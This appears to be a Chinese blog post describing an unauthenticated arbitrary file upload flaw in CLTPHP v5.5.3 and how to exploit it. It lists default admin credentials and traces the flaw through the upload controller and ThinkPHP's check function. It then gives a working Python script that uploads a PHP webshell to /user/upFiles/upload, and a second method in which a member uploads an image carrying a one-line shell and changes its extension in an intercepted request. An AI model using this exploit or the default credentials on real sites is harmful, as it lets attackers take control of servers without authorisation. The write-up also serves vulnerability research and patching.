php getshell,CLTPHP_v5.5.3 前台Getshelll漏洞

默认后台地址: http://127.0.0.1/admin/login/index.html

默认账号密码: 后台登录名:admin 密码:admin123

代码分析

1、漏洞文件位置:/app/user/controller/UpFiles.php 第5-25行:

d43a5ae6b4eef2885b126e64db35e973.png

在这段函数中,未经用户权限验证,获取表单内容,存在越权绕过上传的情况。我们继续跟进move函数:

2、文件位置:/think/library/think/File.php 第329-377行:

513ff4ced66911018443995d0fe71054.png

在这段函数中,经过一系列检测后上传文件,我们重点来看一下check验证上传函数。

3、文件位置:/think/library/think/File.php 第218-245行:

5acf7b9e8e69914860d34975736157f5.png

在check函数中检查文件大小、Mime类型、文件后缀等,主要是从数组中获取,函数未带入参数rule,故采用默认值,我们看一下rule的值

ee19eea26823f54a2011830c52daa7f6.png

在同文件中$rule默认值为date,调用ThinkPHP的上传函数,但配置不当导致过滤函数chenk无效,导致程序在实现存在任意文件上传漏洞,攻击者无需任何权限,可直接上传恶意脚本,控制网站服务器权限。

漏洞利用

利用方式一:

1、 通过编写Python脚本,模拟Ajax 异步请求, Python’脚本如下:

#!/usr/bin/python #-*- coding: UTF-8 -*- import requests header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' , 'X-Requested-With': 'XMLHttpRequest',} url = "http://127.0.0.1/user/upFiles/upload" files ={'file':('1.php',open('1.php','rb'),'image/jpeg')} res = requests.post(url, files=files,headers=header) print res.text

2、在同一目录下放置脚本和1.php文件名的小马,运行Python脚本,成功上传木马并返回路径。

15636fbe05b8c4caf54c9a3355e1ee5a.png

访问url,成功getshell

ed040383d79ec2fd1ce8531066715d64.png

利用方式二:

1、在前台注册一个用户test,登录会员中心

28779c9e1f18e71e0496d930549415eb.png

2、在会员中心—设置—上传图片马(包含一句话)—抓包改包为php后缀名

efd3757b125e119e3fe8c80a504d785d.png

247165a88d846e4f3425c1047d2f1900.png

3、访问shell地址,成功获取网站权限

http://127.0.0.1/public/uploads/20180309/64a211154e71c05795a9f901860b62b9.php

70903c2593751e4abf4f1e322aac98b1.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值